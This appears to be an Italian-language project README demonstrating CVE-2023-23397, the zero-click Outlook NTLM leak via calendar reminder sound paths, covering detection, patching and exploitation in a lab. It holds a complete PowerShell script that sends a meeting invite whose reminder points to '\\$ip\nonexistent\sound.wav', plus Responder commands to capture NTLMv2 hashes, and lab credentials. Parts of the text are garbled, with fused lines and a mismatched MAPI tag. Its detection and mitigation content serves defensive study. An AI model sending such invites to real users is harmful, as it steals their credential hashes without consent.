
Dimostrazione della vulnerabilità CVE-2023-23397 di escalation dei privilegi in Outlook
Questo progetto dimostra il rilevamento, lo sfruttamento e la mitigazione di CVE-2023-23397, una vulnerabilità critica di relay NTLM zero-click in Microsoft Outlook per Windows. Sfruttata tramite inviti del calendario, questa vulnerabilità consente agli aggressori di catturare hash NTLMv2 senza alcuna interazione da parte dell'utente.
🛡️ Punteggio CVSS: 9.8 (Critico)
🖥️ Versioni Interessate: Outlook 2013, 2016, 2019, Microsoft 365 (prima della patch del 14 marzo 2023)
I promemoria del calendario di Outlook possono essere configurati per riprodurre suoni personalizzati tramite la proprietà MAPI PidLidReminderFileParameter. Outlook non valida i percorsi UNC, consentendo richieste SMB remote quando i promemoria vengono attivati.
\\attacker-ip\share\sound.wav
Ciò comporta l'invio di hash NTLMv2 a server controllati dall'aggressore, che possono quindi:
Utilizzare MFCMAPI per ispezionare gli elementi del calendario e verificare la presenza di valori dannosi in PidLidReminderFileParameter (tag MAPI 0x851F001F).
QuickStart > Open Folder > CalendarTable > Set Columns0x808A001F per visualizzare i percorsi dei file dei promemoriaInstallare la patch del 14 marzo 2023 (ad es., KB5002044). La patch introduce:
IsFileZoneLocalIntranetOrTrusted() per validare i percorsi dei file dei promemoriaRisultato del Test:
Outlook registrerà Event ID 1008 e bloccherà l'accesso ai percorsi SMB non attendibili.
192.168.1.0/24)📂 Policy preconfigurata: OutlookMitigation.ipsec
| Sistema | Nome Utente | Password |
|---|---|---|
| Kali Linux | kali | kali |
| VM Windows 10 | CVE-2023-23397 | vbox@123 |
| Account Email | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Assicurarsi che Kali e la VM vittima siano sulla stessa rete.
Installare:
Configurazione:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder catturerà l'hash NTLMv2 dal sistema vittima.
PidLidReminderFileParameter contenga un percorso UNC.